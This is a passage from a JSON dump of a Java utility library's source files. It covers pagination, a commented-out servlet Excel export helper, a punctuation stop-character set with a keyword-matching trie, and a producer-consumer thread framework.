    "content": "package com.jun.plugin.commons.util.web;\n\nimport java.util.List;\n\npublic class PageAssist {\n\tprivate int pageSize;\n\tprivate int pageNo;\n\tprivate long allNum;\n\tprivate List<?> result;\n\n\tpublic PageAssist(int pageSize, int pageNo, int allNum) {\n\t\tsuper();\n\t\tthis.pageSize = pageSize;\n\t\tthis.pageNo = pageNo;\n\t\tthis.allNum = allNum;\n\t}\n\n\tpublic PageAssist(int pageSize, int pageNo) {\n\t\tsuper();\n\t\tthis.pageSize = pageSize;\n\t\tthis.pageNo = pageNo;\n\t\tthis.allNum = -1;\n\t}\n\n\tpublic int getPageSize() {\n\t\treturn pageSize;\n\t}\n\n\tpublic List<?> getResult() {\n\t\treturn result;\n\t}\n\n\tpublic void setResult(List<?> result) {\n\t\tthis.result = result;\n\t}\n\n\tpublic int getPageNo() {\n\t\treturn pageNo;\n\t}\n\n\tpublic long getAllNum() {\n\t\treturn allNum;\n\t}\n\n\tpublic void setAllNum(long allNum) {\n\t\tthis.allNum = allNum;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/web/WebTools.java",
    "content": "// This file is commented out — uses POI + JExcelApi (jxl) which are now removed.\n// For POI-based Excel export, see jun_poi module.\n/*\npackage com.jun.plugin.commons.util.web;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.OutputStream;\nimport java.io.PrintWriter;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport javax.servlet.ServletOutputStream;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport jxl.format.Colour;\nimport jxl.format.UnderlineStyle;\nimport jxl.write.Label;\nimport jxl.write.WritableCellFormat;\nimport jxl.write.WritableFont;\nimport jxl.write.WritableSheet;\nimport jxl.write.WritableWorkbook;\n\nimport org.apache.commons.fileupload.FileItem;\nimport org.apache.commons.fileupload.disk.DiskFileItemFactory;\nimport org.apache.commons.fileupload.servlet.ServletFileUpload;\nimport org.apache.commons.lang.ArrayUtils;\nimport org.apache.poi.ss.usermodel.Workbook;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.commons.util.Conf;\nimport com.jun.plugin.commons.util.exception.ExceptAll;\nimport com.jun.plugin.commons.util.exception.ProjectException;\n\npublic abstract class WebTools {\n\tprivate static Logger logger = LoggerFactory.getLogger(WebTools.class);\n\tpublic final static File tempDir=new File(Conf.utilProperties.getProperty(\"file.tempDir\"));\n\n\tpublic static void returnExcelStreamResponse(HttpServletResponse response,\n\t\t\tWorkbook workbook, String fileName) throws ProjectException {\n\t\tByteArrayOutputStream file = new ByteArrayOutputStream();\n\t\ttry {\n\t\t\tworkbook.write(file);\n\t\t\tfinal byte[] dataFile = file.toByteArray();\n\t\t\tresponse.setHeader(\"Content-Disposition\", \"attachment; filename=\\\"\"\n\t\t\t\t\t+ new String(fileName.getBytes(\"GBK\"), \"iso8859-1\")\n\t\t\t\t\t+ \".xls\\\"\");\n\t\t\tresponse.setContentLength(dataFile.length);\n\t\t\tServletOutputStream resStream = response.getOutputStream();\n\t\t\tresStream.write(dataFile);\n\t\t\tresStream.close();\n\t\t} catch (Exception e) {\n\t\t\tthrow new ProjectException(ExceptAll.default_Project,\n\t\t\t\t\t\"返回excle输出流错误\");\n\t\t}\n\t}\n\n\tpublic static OperateResult exportExcel(HttpServletResponse response,\n\t\t\tString context, String... exshow) {\n\t\tOperateResult retObj = new OperateResult(0);\n\t\ttry {\n\t\t\tString fileName=ArrayUtils.isEmpty(exshow)?\"fileName\":exshow[0];\n\t\t\tString sheetTitle = ArrayUtils.isEmpty(exshow)||exshow.length<2?\"sheet1\":exshow[1];\n\t\t\tOutputStream os = response.getOutputStream();\n\t\t\tresponse.reset();\n\t\t\tresponse.setHeader(\"Content-disposition\", \"attachment; filename=\"\n\t\t\t\t\t+ fileName + \".xls\");\n\t\t\tresponse.setContentType(\"application/msexcel\");\n\t\t\tWritableWorkbook wbook = jxl.Workbook.createWorkbook(os);\n\t\t\tWritableSheet wsheet = wbook.createSheet(sheetTitle, 0);\n\t\t\tWritableFont wfont = new WritableFont(WritableFont.ARIAL, 16,\n\t\t\t\t\tWritableFont.BOLD, false, UnderlineStyle.NO_UNDERLINE,\n\t\t\t\t\tColour.BLACK);\n\t\t\tWritableCellFormat wcfFC = new WritableCellFormat(wfont);\n\t\t\twcfFC.setBackground(Colour.AQUA);\n\t\t\twsheet.addCell(new Label(1, 0, sheetTitle, wcfFC));\n\t\t\twfont = new jxl.write.WritableFont(WritableFont.ARIAL, 14,\n\t\t\t\t\tWritableFont.BOLD, false, UnderlineStyle.NO_UNDERLINE,\n\t\t\t\t\tColour.BLACK);\n\t\t\twcfFC = new WritableCellFormat(wfont);\n\t\t\tString[] rows = context.split(\"\\r\\n\");\n\t\t\tfor (int i = 0; i < rows.length; i++) {\n\t\t\t\tString rowString = rows[i];\n\t\t\t\tString[] rowAry = rowString.split(\",\");\n\t\t\t\tfor (int j = 0; j < rowAry.length; j++) {\n\t\t\t\t\twsheet.addCell(new Label(j, i, rowAry[j]));\n\t\t\t\t}\n\t\t\t}\n\t\t\twbook.write();\n\t\t\twbook.close();\n\t\t\tos.close();\n\t\t\tretObj.setResult(1);\n\t\t\tretObj.setMessage(\"success\");\n\t\t} catch (Exception e) {\n\t\t\tretObj.setMessage(e.getMessage());\n\t\t}\n\t\treturn retObj;\n\t}\n\n\tpublic static void returnJsonResponse(HttpServletResponse response,\n\t\t\tString jsonMsg) {\n\t\tresponse.setContentType(\"text/html\");\n\t\ttry {\n\t\t\tPrintWriter out = response.getWriter();\n\t\t\tout.print(jsonMsg);\n\t\t\tout.flush();\n\t\t\tout.close();\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\tpublic static void returnJsonResponse(HttpServletResponse response,\n\t\t\tOperateResult operateResult) {\n\t\treturnJsonResponse(response, operateResult.getJsonMsg(null));\n\t}\n\n\tpublic static Map<String, String> paseReqestParam(HttpServletRequest request) {\n\t\tMap<String, String> retMap = new HashMap<String, String>();\n\t\tboolean isMultipart = ServletFileUpload.isMultipartContent(request);\n\t\tif (isMultipart) {\n\t\t\tDiskFileItemFactory factory = new DiskFileItemFactory();\n\t\t\tServletFileUpload upload = new ServletFileUpload(factory);\n\t\t\tupload.setSizeMax(Long.parseLong(Conf.utilProperties.getProperty(\"file.sizeMax\")));\n\t\t\tfactory.setSizeThreshold(Integer.parseInt(Conf.utilProperties.getProperty(\"file.sizeThreshold\")));\n\t\t\tfactory.setRepository(tempDir);\n\t\t\ttry {\n\t\t\t\tList<FileItem> items = upload.parseRequest(request);\n\t\t\t\tfor (FileItem fileItem : items) {\n\t\t\t\t\tString name = fileItem.getFieldName();\n\t\t\t\t\tString value = fileItem.getString(Conf.utilProperties.getProperty(\"connect.encode\"));\n\t\t\t\t\tretMap.put(name, value);\n\t\t\t\t}\n\t\t\t} catch (Exception e) {\n\t\t\t\tlogger.error(\"解析文件类型的参数错误\",e);\n\t\t\t}\n\t\t} else {\n\t\t\tMap<String, String[]> requestParam = request.getParameterMap();\n\t\t\tfor (String key : requestParam.keySet()) {\n\t\t\t\tretMap.put(key, ArrayUtils.toString(requestParam.get(key)));\n\t\t\t}\n\t\t}\n\t\treturn retMap;\n\t}\n\n}\n*/\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/wordSearch/StopChar.java",
    "content": "package com.jun.plugin.commons.util.wordSearch;\nimport java.util.Arrays;\nimport java.util.HashSet;\nimport java.util.Set;\n\nimport com.jun.plugin.commons.util.LangUtil;\n\n/**\n * 过滤词及一些简单处理\n * \n * @author Wujun\n */\npublic class StopChar {\n\t/** 不需要处理的词，如标点符号、空格等 */\n\tpublic static final Set<String> STOP_WORD = new HashSet<String>(Arrays.asList(new String[] { \" \", \"'\", \"、\", \"。\",\n\t\t\t\"·\", \"ˉ\", \"ˇ\", \"々\", \"—\", \"～\", \"‖\", \"…\", \"‘\", \"’\", \"“\", \"”\", \"〔\", \"〕\", \"〈\", \"〉\", \"《\", \"》\", \"「\", \"」\", \"『\",\n\t\t\t\"』\", \"〖\", \"〗\", \"【\", \"】\", \"±\", \"＋\", \"－\", \"×\", \"÷\", \"∧\", \"∨\", \"∑\", \"∏\", \"∪\", \"∩\", \"∈\", \"√\", \"⊥\", \"⊙\", \"∫\",\n\t\t\t\"∮\", \"≡\", \"≌\", \"≈\", \"∽\", \"∝\", \"≠\", \"≮\", \"≯\", \"≤\", \"≥\", \"∞\", \"∶\", \"∵\", \"∴\", \"∷\", \"♂\", \"♀\", \"°\", \"′\", \"〃\",\n\t\t\t\"℃\", \"＄\", \"¤\", \"￠\", \"￡\", \"‰\", \"§\", \"☆\", \"★\", \"〇\", \"○\", \"●\", \"◎\", \"◇\", \"◆\", \"□\", \"■\", \"△\", \"▽\", \"⊿\", \"▲\",\n\t\t\t\"▼\", \"◣\", \"◤\", \"◢\", \"◥\", \"▁\", \"▂\", \"▃\", \"▄\", \"▅\", \"▆\", \"▇\", \"█\", \"▉\", \"▊\", \"▋\", \"▌\", \"▍\", \"▎\", \"▏\", \"▓\",\n\t\t\t\"※\", \"→\", \"←\", \"↑\", \"↓\", \"↖\", \"↗\", \"↘\", \"↙\", \"〓\", \"ⅰ\", \"ⅱ\", \"ⅲ\", \"ⅳ\", \"ⅴ\", \"ⅵ\", \"ⅶ\", \"ⅷ\", \"ⅸ\", \"ⅹ\", \"①\",\n\t\t\t\"②\", \"③\", \"④\", \"⑤\", \"⑥\", \"⑦\", \"⑧\", \"⑨\", \"⑩\", \"⒈\", \"⒉\", \"⒊\", \"⒋\", \"⒌\", \"⒍\", \"⒎\", \"⒏\", \"⒐\", \"⒑\", \"⒒\", \"⒓\",\n\t\t\t\"⒔\", \"⒕\", \"⒖\", \"⒗\", \"⒘\", \"⒙\", \"⒚\", \"⒛\", \"⑴\", \"⑵\", \"⑶\", \"⑷\", \"⑸\", \"⑹\", \"⑺\", \"⑻\", \"⑼\", \"⑽\", \"⑾\", \"⑿\", \"⒀\",\n\t\t\t\"⒁\", \"⒂\", \"⒃\", \"⒄\", \"⒅\", \"⒆\", \"⒇\", \"Ⅰ\", \"Ⅱ\", \"Ⅲ\", \"Ⅳ\", \"Ⅴ\", \"Ⅵ\", \"Ⅶ\", \"Ⅷ\", \"Ⅸ\", \"Ⅹ\", \"Ⅺ\", \"Ⅻ\", \"！\", \"”\",\n\t\t\t\"＃\", \"￥\", \"％\", \"＆\", \"’\", \"（\", \"）\", \"＊\", \"＋\", \"，\", \"－\", \"．\", \"／\", \"０\", \"１\", \"２\", \"３\", \"４\", \"５\", \"６\", \"７\",\n\t\t\t\"８\", \"９\", \"：\", \"；\", \"＜\", \"＝\", \"＞\", \"？\", \"＠\", \"〔\", \"＼\", \"〕\", \"＾\", \"＿\", \"‘\", \"｛\", \"｜\", \"｝\", \"∏\", \"Ρ\", \"∑\",\n\t\t\t\"Υ\", \"Φ\", \"Χ\", \"Ψ\", \"Ω\", \"α\", \"β\", \"γ\", \"δ\", \"ε\", \"ζ\", \"η\", \"θ\", \"ι\", \"κ\", \"λ\", \"μ\", \"ν\", \"ξ\", \"ο\", \"π\",\n\t\t\t\"ρ\", \"σ\", \"τ\", \"υ\", \"φ\", \"χ\", \"ψ\", \"ω\", \"（\", \"）\", \"〔\", \"〕\", \"＾\", \"﹊\", \"﹍\", \"╭\", \"╮\", \"╰\", \"╯\", \"\", \"_\",\n\t\t\t\"\", \"^\", \"（\", \"^\", \"：\", \"！\", \"/\", \"\\\\\", \"\\\"\", \"<\", \">\", \"`\", \"·\", \"。\", \"{\", \"}\", \"~\", \"～\", \"(\", \")\", \"-\",\n\t\t\t\"√\", \"$\", \"@\", \"*\", \"&\", \"#\", \"卐\", \"㎎\", \"㎏\", \"㎜\", \"㎝\", \"㎞\", \"㎡\", \"㏄\", \"㏎\", \"㏑\", \"㏒\", \"㏕\" }));\n\n\t/**\n\t * 判断指定的词是否是不处理的词。\n\t * 如果参数为空，则返回true，因为空也属于不处理的字符。\n\t * @param ch 指定的词\n\t * @return 是否是不处理的词\n\t */\n\tpublic static boolean isStopChar(String ch) {\n\t\tif (LangUtil.isEmpty(ch)) return true;\n\t\treturn STOP_WORD.contains(ch);\n\t}\n\t\n\t/**\n\t * 判断指定的词是否是不处理的词。\n\t * 如果参数为空，则返回true，因为空也属于不处理的字符。\n\t * \n\t * @param ch 指定的词\n\t * @return 是否是不处理的词\n\t */\n\tpublic static boolean isStopChar(char ch) {\n\t\treturn STOP_WORD.contains(String.valueOf(ch));\n\t}\n\t\n\t@Override\n\tpublic String toString() {\n\t\treturn super.toString();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/wordSearch/Words.java",
    "content": "package com.jun.plugin.commons.util.wordSearch;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport com.jun.plugin.commons.util.LangUtil;\n\n/**\n * 单词树\n * @author Wujun\n *\n */\npublic class Words extends HashMap<Character, Words>{\n\tprivate static final long serialVersionUID = -4646423269465809276L;\n\t\n\t/** 默认的类型 */\n\tpublic final static int DEFAULT_TYPE = 0;\n\t\n\t/** 关键字类型，是否最后一个字符 */\n\tpublic Map<Integer, Boolean> types = new HashMap<Integer, Boolean>();\n\t\n\t//------------------------------------------------------------------------------- 构造 start\n\t/**\n\t * 默认构造\n\t */\n\tpublic Words() {\n\t}\n\t\n\t/**\n\t * 构造方法\n\t * @param type 类型\n\t */\n\tpublic Words(int type) {\n\t\ttypes.put(type, false);\n\t}\n\t//------------------------------------------------------------------------------- 构造 end\n\t\n\t/**\n\t * 添加单词，使用默认类型\n\t * @param word 单词\n\t */\n\tpublic void addWord(String word) {\n\t\tthis.addWord(word, DEFAULT_TYPE);\n\t}\n\t\n\t/**\n\t * 增加单词\n\t * @param word 单词\n\t * @param type 类型\n\t */\n\tpublic void addWord(String word, int type){\n\t\t//已经是单词的末尾\n\t\tif(LangUtil.isEmpty(word)){\n\t\t\tthis.types.put(type, true);\n\t\t\tthis.clear();\n\t\t\treturn;\n\t\t}\n\t\t//已经是关键字的末尾，则结束（即只保留最短字符串）\n\t\tBoolean isEnd = this.types.get(type);\n\t\tif(isEnd != null && isEnd) return;\n\t\tthis.types.put(type, false);\n\t\t\n\t\tword = word.trim();\n\t\tchar currentChar = word.charAt(0);\n\t\t//跳过特殊字符（跳过本字符，从下一个字符开始）\n\t\tif(StopChar.isStopChar(currentChar)){\n\t\t\tthis.addWord(word.substring(1), type);\n\t\t\treturn;\n\t\t}\n\t\t\n\t\tWords child = this.get(currentChar);\n\t\tif(child != null){\n\t\t\t//已经存在子节点，在子节点中存放下一个字符\n\t\t\tchild.addWord(word.substring(1), type);\n\t\t}else{\n\t\t\t//无子类，新建一个子节点后存放下一个字符\n\t\t\tchild = new Words(type);\n\t\t\tthis.put(currentChar, child);\n\t\t\tchild.addWord(word.substring(1), type);\n\t\t}\n\t}\n\t\n\t/**\n\t * 指定文本是否包含树中的词，默认类型\n\t * @param text 被检查的文本\n\t * @return 是否包含\n\t */\n\tpublic boolean contains(String text) {\n\t\treturn contains(text, DEFAULT_TYPE);\n\t}\n\t\n\t/**\n\t * 指定文本是否包含树中的词\n\t * @param text 被检查的文本\n\t * @param type 类型\n\t * @return 是否包含\n\t */\n\tpublic boolean contains(String text, int type){\n\t\twhile(! LangUtil.isEmpty(text)){\n\t\t\tWords words = this;\n\t\t\tchar[] array = text.toCharArray();\n\t\t\tfor (char c : array) {\n\t\t\t\t//跳过特殊字符\n\t\t\t\tif(StopChar.isStopChar(c)) continue;\n\t\t\t\t\n\t\t\t\t//子节点中子节点、类型为空表示词不存在\n\t\t\t\twords = words.get(c);\n\t\t\t\tif(words == null) break;\n\t\t\t\tBoolean isEnd = words.types.get(type);\n\t\t\t\tif(isEnd == null) break; \n\t\t\t\t\n\t\t\t\tif(isEnd) return true;\n\t\t\t}\n\t\t\ttext = text.substring(1);\n\t\t}\n\t\treturn false;\n\t}\n\t\n\t/**\n\t * 获得第一个匹配的关键字，默认类型\n\t * @param text 被检查的文本\n\t * @return 匹配到的关键字\n\t */\n\tpublic String getFindedFirstWord(String text) {\n\t\treturn getFindedFirstWord(text, DEFAULT_TYPE);\n\t}\n\t\n\t/**\n\t * 获得第一个匹配的关键字\n\t * @param text 被检查的文本\n\t * @param type 类型\n\t * @return 匹配到的关键字\n\t */\n\tpublic String getFindedFirstWord(String text, int type){\n\t\twhile(! LangUtil.isEmpty(text)){\n\t\t\tStringBuilder sb = new StringBuilder();\n\t\t\tWords words = this;\n\t\t\tchar[] array = text.toCharArray();\n\t\t\tfor (char c : array) {\n\t\t\t\t//跳过特殊字符\n\t\t\t\tif(StopChar.isStopChar(c)) continue;\n\t\t\t\t\n\t\t\t\t//子节点中子节点、类型为空表示词不存在\n\t\t\t\twords = words.get(c);\n\t\t\t\tif(words == null) break;\n\t\t\t\tsb.append(c);\n\t\t\t\tBoolean isEnd = words.types.get(type);\n\t\t\t\tif(isEnd == null) break; \n\t\t\t\t\n\t\t\t\tif(isEnd) return sb.toString();\n\t\t\t}\n\t\t\t//从下一个字符开始查找\n\t\t\ttext = text.substring(1);\n\t\t}\n\t\treturn null;\n\t}\n\t\n\t/**\n\t * 找出所有匹配的关键字，默认类型\n\t * @param text 被检查的文本\n\t * @return 匹配的词列表\n\t */\n\tpublic List<String> getFindedAllWords(String text) {\n\t\treturn getFindedAllWords(text, DEFAULT_TYPE);\n\t}\n\t\n\t/**\n\t * 找出所有匹配的关键字\n\t * @param text 被检查的文本\n\t * @param type 文本的类型\n\t * @return 匹配的词列表\n\t */\n\tpublic List<String> getFindedAllWords(String text, int type) {\n\t\tList<String> findedWords = new ArrayList<String>();\n\t\twhile(! LangUtil.isEmpty(text)){\n\t\t\tStringBuilder sb = new StringBuilder();\n\t\t\tWords words = this;\n\t\t\tchar[] array = text.toCharArray();\n\t\t\tfor (char c : array) {\n\t\t\t\t//跳过特殊字符\n\t\t\t\tif(StopChar.isStopChar(c)) continue;\n\t\t\t\t\n\t\t\t\t//子节点中子节点、类型为空表示词不存在\n\t\t\t\twords = words.get(c);\n\t\t\t\tif(words == null) break;\n\t\t\t\tsb.append(c);\n\t\t\t\tBoolean isEnd = words.types.get(type);\n\t\t\t\tif(isEnd == null) break; \n\t\t\t\t\n\t\t\t\t//到达单词末尾，关键词成立，从此词的下一个位置开始查找\n\t\t\t\tif(isEnd) {\n\t\t\t\t\tfindedWords.add(sb.toString());\n\t\t\t\t\tint len = sb.length();\n\t\t\t\t\tsb.delete(0, len);\n\t\t\t\t\ttext = text.substring(len);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\t//从下一个字符开始\n\t\t\tif(text.length() > 0) {\n\t\t\t\ttext = text.substring(1);\n\t\t\t}\n\t\t}\n\t\treturn findedWords;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/workflow/Consumer.java",
    "content": "package com.jun.plugin.commons.util.workflow;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * 消费者线程<br/>\n * 结束条件：1、isFinished() 2、生态系统中取出null 3、被线程中断\n * \n * @author Wujun\n * \n * @param <E> 产品类型\n */\npublic abstract class Consumer<E> extends Thread {\n\tprivate static Logger logger = LoggerFactory.getLogger(Consumer.class);\n\n\t/** 生态系统对象（产品队列） */\n\tprivate Ecosystem<E> queue;\n\n\tpublic Consumer(Ecosystem<E> queue, ThreadGroup group, String name) {\n\t\tsuper(group, name);\n\t\tthis.queue = queue;\n\t}\n\n\t@Override\n\tpublic final void run() {\n\t\ttry {\n\t\t\twhile (!isFinished()) {\n\t\t\t\tE product = queue.take();\n\t\t\t\tif (product == null) {\n\t\t\t\t\t//由于queue为null时会阻塞队列，故返回产品为null的情况表示生态系统结束\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tconsume(product);\n\t\t\t}\n\t\t} catch (InterruptedException e) {\n\t\t\tlogger.debug(\"【\" + getName() + \"】中断结束。\");\n\t\t}\n\t\tthis.end();\n\t\tqueue.consumerEnd(); // 通知生态系统自己已经关闭\n\t}\n\n\t/**\n\t * 线程结束条件方法<br/>\n\t * 默认为false，即只有被强制中断或从队列中取到 null 时才结束<br/>\n\t * 若想自定义结束条件，请重写此方法\n\t * \n\t * @return 线程是否结束\n\t */\n\tprotected boolean isFinished() {\n\t\treturn false;\n\t}\n\n\t/**\n\t * 线程结束调用的方法<br/>\n\t * 当线程结束前会调用此方法\n\t */\n\tprotected abstract void end();\n\n\t/**\n\t * 消费<br/>\n\t * 线程会循环调用此方法直到达到结束条件\n\t * \n\t * @param product 待处理的产品\n\t */\n\tprotected abstract void consume(E product);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/workflow/Ecosystem.java",
    "content": "package com.jun.plugin.commons.util.workflow;\n\nimport java.util.concurrent.locks.Lock;\nimport java.util.concurrent.locks.ReentrantLock;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.commons.util.threads.SyncQueue;\n\n/**\n * 生态系统类（生产者消费者模式实现）<br/>\n * 生态系统的平衡条件：<br/>\n * 1、队列满阻塞生产者，队列空阻塞消费者<br/>\n * 2、生产者结束后，关闭生态系统，等队列中的数据全部消费完毕后，消费者结束<br/>\n * 3、消费者若提前结束，则生态系统结束<br/>\n * @author Wujun\n * @param <E> 生产和消费的产品类型\n *\n */\npublic class Ecosystem<E> extends SyncQueue<E>{\n\tprivate static Logger logger = LoggerFactory.getLogger(Ecosystem.class);\n\t\n\tpublic final static String PRODUCER_GROUP = \"producerGroup\";\n\tpublic final static String CONSUMER_GROUP = \"producerGroup\";\n\t\n\t/** 生产者组 */\n\tprivate final ThreadGroup producerGroup = new ThreadGroup(PRODUCER_GROUP);\n\t/** 活动的生产者数，由生产者线程修改 */\n\tprivate volatile int activeProducerCount;\n\t/** 生产者锁 */\n\tprivate Lock producerLock = new ReentrantLock();\n\t\n\t/** 消费者组 */\n\tprivate final ThreadGroup consumerGroup = new ThreadGroup(CONSUMER_GROUP);\n\t/** 活动的消费者数，由消费者线程修改 */\n\tprivate volatile int activeConsumerCount;\n\t\n\tpublic Ecosystem(int capacity) {\n\t\tsuper(capacity);\n\t}\n\t\n\t/**\n\t * 增加一个生产者\n\t * @param producerClass 生产者\n\t * @param name 名称\n\t * @return 生产者对象\n\t */\n\tpublic <T extends Producer<E>> T newProducer(Class<T> producerClass, String name){\n\t\tif(this.isClosed()) {\n\t\t\tlogger.warn(\"生态系统已关闭，无法加入生产者！\");\n\t\t\treturn null;\n\t\t}\n\t\t\n\t\tT producer = null;\n\t\ttry {\n\t\t\tproducer = producerClass.getConstructor(Ecosystem.class, ThreadGroup.class, String.class).newInstance(this, this.producerGroup, name);\n\t\t} catch (Exception e) {\n\t\t\tlogger.error(\"初始化生产者失败！\", e);\n\t\t\treturn null;\n\t\t}\n\t\tactiveProducerCount++;\n\t\treturn producer;\n\t}\n\t\n\t/**\n\t * 准备添加新的生产者<br/>\n\t * 由于存在新的生产者未加入而已有生产者结束后导致生态系统关闭的情况，请在有多个生产者添加前调用此方法。<br/>\n\t * 请在生产者添加且启动完毕后，调用finishNewProducer()方法，否则生产者将无法终止！\n\t */\n\tpublic void prepareNewProducer() {\n\t\ttry {\n\t\t\tthis.producerLock.lockInterruptibly();\n\t\t} catch (InterruptedException e) {\n\t\t\tthis.producerLock.unlock();\n\t\t}\n\t}\n\t\n\t/**\n\t * 结束添加新的生产者<br/>\n\t * 当所有生产者添加并启动完毕后调用此方法，与prepareNewProducer()配合使用。\n\t */\n\tpublic void finishNewProducer() {\n\t\tthis.producerLock.unlock();\n\t}\n\t\n\t/**\n\t * 增加一个消费者\n\t * @param consumerClass 消费者类\n\t * @param name 名称\n\t * @return 消费者对象\n\t */\n\tpublic <T extends Consumer<E>> T newConsumer(Class<T> consumerClass, String name){\n\t\tif(this.isClosed()) {\n\t\t\tlogger.warn(\"生态系统已关闭，无法加入消费者！\");\n\t\t\treturn null;\n\t\t}\n\t\t\n\t\tT consumer = null;\n\t\ttry {\n\t\t\tconsumer = consumerClass.getConstructor(Ecosystem.class, ThreadGroup.class, String.class).newInstance(this, this.consumerGroup, name);\n\t\t} catch (Exception e) {\n\t\t\tlogger.error(\"初始化消费者失败！\", e);\n\t\t\treturn null;\n\t\t}\n\t\tactiveConsumerCount++;\n\t\treturn consumer;\n\t}\n\t\n\t/**\n\t * 结束生态系统<br/>\n\t * 结束的时执行以下步骤：\n\t * 1、清空队列\n\t * 2、关闭队列\n\t * 3、中断所有生产者和消费者线程\n\t */\n\tsynchronized public void shutDown(){\n\t\tthis.clear();\t//清空队列\n\t\tthis.close();\t//关闭队列\n\t\tproducerGroup.interrupt();\t//强制中断生产者及其子线程\n\t\tconsumerGroup.interrupt();\t//强制中断消费者及其子线程\n\t}\n\t\n\t/**\n\t * 是否正在运行<br/>\n\t * @return 若生产者或消费者有其一运行，返回true，否则false\n\t */\n\tpublic boolean isActive(){\n\t\treturn this.activeProducerCount > 0 || this.activeConsumerCount > 0;\n\t}\n\t\n\t/**\n\t * 运行中的生产者数\n\t * @return 生产者数\n\t */\n\tpublic int activeProducerCount(){\n\t\treturn this.activeProducerCount;\n\t}\n\t\n\t/**\n\t * 运行中的消费者数\n\t * @return 消费者数\n\t */\n\tpublic int activeConsumerCount(){\n\t\treturn this.activeConsumerCount;\n\t}\n\t\n\t/**\n\t * 生产者线程结束时调用此方法<br/>\n\t * 若自己为最后一个关闭的生产者线程则关闭队列，唤醒所有消费者线程将剩余数据处理后生态系统终结。<br/>\n\t * 结束的前提是调用了finishNewProducer()，即所有生产者已经添加完毕。\n\t * protected修饰表示可以被同包的consumer对象访问，但是不可以被子类覆盖\n\t */\n\tprotected final void producerEnd(){\n\t\tproducerLock.lock();\n\t\ttry {\n\t\t\tthis.activeProducerCount--;\n\t\t\tif(this.activeProducerCount <= 0){\n\t\t\t\tsuper.close();\n\t\t\t\tsuper.signalAllTake();\n\t\t\t}\n\t\t}finally {\n\t\t\tproducerLock.unlock();\n\t\t}\n\t}\n\t\n\t/**\n\t * 消费者线程结束时调用此方法<br/>\n\t * 若自己为最后一个关闭的消费者线程则关闭队列（因为已经无消费者，生产者活动也必须终止）<br/>\n\t * protected修饰表示可以被同包的consumer对象访问，但是不可以被子类覆盖\n\t */\n\tsynchronized protected final void consumerEnd(){\n\t\tactiveConsumerCount--;\n\t\tif(this.activeConsumerCount <= 0){\n\t\t\tsuper.close();\n\t\t\tproducerGroup.interrupt();\n\t\t\t//消费者全部结束代表生态系统结束\n\t\t\tactionAfterClose();\n\t\t}\n\t}\n\t\n\t/**\n\t * 当生态系统关闭执行的方法\n\t */\n\tsynchronized protected void actionAfterClose(){\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/workflow/Producer.java",
    "content": "package com.jun.plugin.commons.util.workflow;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * 生产者线程\n * 结束条件：1、isFinished() 2、产品插入失败 3、被线程中断\n * @author Wujun\n * \n * @param <E> 产品类型\n */\npublic abstract class Producer<E> extends Thread {\n\tprivate static Logger logger = LoggerFactory.getLogger(Producer.class);\n\n\t/** 生态系统对象（产品队列） */\n\tprivate Ecosystem<E> queue;\n\n\tpublic Producer(Ecosystem<E> queue, ThreadGroup group, String name) {\n\t\tsuper(group, name);\n\t\tthis.queue = queue;\n\t}\n\n\t@Override\n\tpublic final void run() {\n\t\ttry {\n\t\t\twhile (!isFinished()) {\n\t\t\t\tE product = produce();\n\t\t\t\tif (product == null) {\n\t\t\t\t\t//空产品跳过此条继续\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tif(!queue.put(product)) {\n\t\t\t\t\t//插入失败（队列关闭了）\n\t\t\t\t\tlogger.debug(\"【\"+getName()+\"】生态系统关闭，结束。\");\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (InterruptedException e) {\n\t\t\tlogger.debug(\"【\" + getName() + \"】中断结束。\");\n\t\t}\n\t\tthis.end();\n\t\tqueue.producerEnd(); // 通知生态系统自己已经关闭\n\t}\n\t\n\t/**\n\t * 线程结束条件方法\n\t * @return 线程是否结束\n\t */\n\tprotected boolean isFinished(){\n\t\treturn false;\n\t}\n\n\t/**\n\t * 线程结束时调用的方法\n\t */\n\tprotected abstract void end();\n\n\t/**\n\t * 生产\n\t * \n\t * @return 生产的结果供消费者使用，若为null，则跳过此条\n\t */\n\tprotected abstract E produce();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/resources/I18N/MessageBundleUtil.properties",
